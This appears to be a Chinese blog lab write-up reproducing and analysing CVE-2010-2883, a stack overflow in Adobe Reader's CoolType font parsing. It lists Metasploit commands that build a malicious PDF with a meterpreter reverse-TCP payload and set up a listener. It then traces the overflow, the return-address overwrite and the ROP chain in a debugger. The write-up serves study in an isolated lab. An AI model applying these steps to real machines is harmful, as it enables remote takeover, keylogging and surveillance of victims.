CVE-2010-2883漏洞分析

CVE-2010-2883漏洞复现及分析

1.CVE-2010-2883漏洞原理:

Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当靶机打开恶意PDF文件时,可允许代码远程执行。

2.使用的练习环境

使用的靶机是 Windows XPx86 SP3(记得把防火墙关闭)
使用的攻击机器是kali;IP 是 192.168.109.130:8888(端口不用特意设置,使用时自动打开了)

3.使用渗透工具

使用工具:msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。kali中就直接有,打开就可以用了。

4.漏洞利用的渗透过程及结果

首先使用kali终端输入msfconsole就可以打开了。
在这里插入图片描述

1.搜索Adobe渗透模块,  
msf 6> search adobe_cooltype_sing 

2.调用渗透模块,查看可以利用的方式
msf 6> use exploit/windows/fileformat/adobe_cooltype_sing/ 

在这里插入图片描述

1.调用meterpreter载荷,反向连接到渗透机  
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp

2.设置回连Kali Linux的IP地址 ,此Ip设置成kali的IP(可以通过ifconfig查看kali的IP)
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.109.130

3.设置本地监听端口  
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8888

4.设置带有后门程序的PDF文件  
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME GeekFZ.pdf

5.执行渗透,生成PDF文件  
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit  

在这里插入图片描述

1.使用handler监听模块  
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler

2.回弹一个tcp连接  
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

3.设置监听IP地址(跟PDF木马文件回连IP一致)
msf6 exploit(multi/handler) > set LHOST 192.168.109.130

4.设置监听的端口(跟PDF木马文件回连端口一致) 
msf6 exploit(multi/handler) > set LPORT 8888

5.开启监听  
msf6 exploit(multi/handler) > exploit 

在这里插入图片描述

将生成的文件,拖到靶机Xp中,打开恶意PDF文件。此时就可以利用CVE-2010-2883,成功远程控制靶机。

在这里插入图片描述

可以查看靶机的键盘输入、查看靶机的配置信息、对靶机进行截图等等操作。总之靶机已经被我控制了。

在这里插入图片描述在这里插入图片描述

5.漏洞复盘

5.1 漏洞基本信息

漏洞文件:低于9.3.4版本的Adobe Reader
漏洞函数:strcat()
漏洞对象:SING表的UniqueName成员
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,UniqueName字符串拷贝进栈中,并且不检查字符串长度。

5.2 栈溢出复盘

使用IDA打开CoolType.dll,通过字符串SING找到strcat。记录下地址0803DD74,一会去OD中复盘一下栈溢出。
在这里插入图片描述

+0x10位置便是UniqueName成员的地址。
在这里插入图片描述
来到地址0803DD74设置断点。按F9让pdf阅读器先运行初始化,然后打开用msf6生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点。
下图是动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员(再sing数据结构中+0x10的位置就是UniqueName成员)。
在这里插入图片描述
单步步过strcat函数,来到0x0803DDB0,数据跟随EBP,可以看到返回地址已经被覆盖为0x4A82A714。
在这里插入图片描述
来到地址0x4A82A714,设置断点运行过来。执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C。
在这里插入图片描述
此时的栈顶指针esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处。黄色框中是ROP链,用ROP技术可以绕过DEP。
在这里插入图片描述

继续跟进ROP链,会先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap并且创建了文件iso885。将shellcode保存到文件夹,然后映射到内存中,进而得到执行。漏洞分析到这里就结束了,路漫漫其修远兮,吾将上下而求索。
在这里插入图片描述

6.参考文献

1.看雪优秀文章:https://hongtai-s.github.io/2021/06/27/cve-2010-2883/
2.bilibili:CVE-2010-2883解析

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值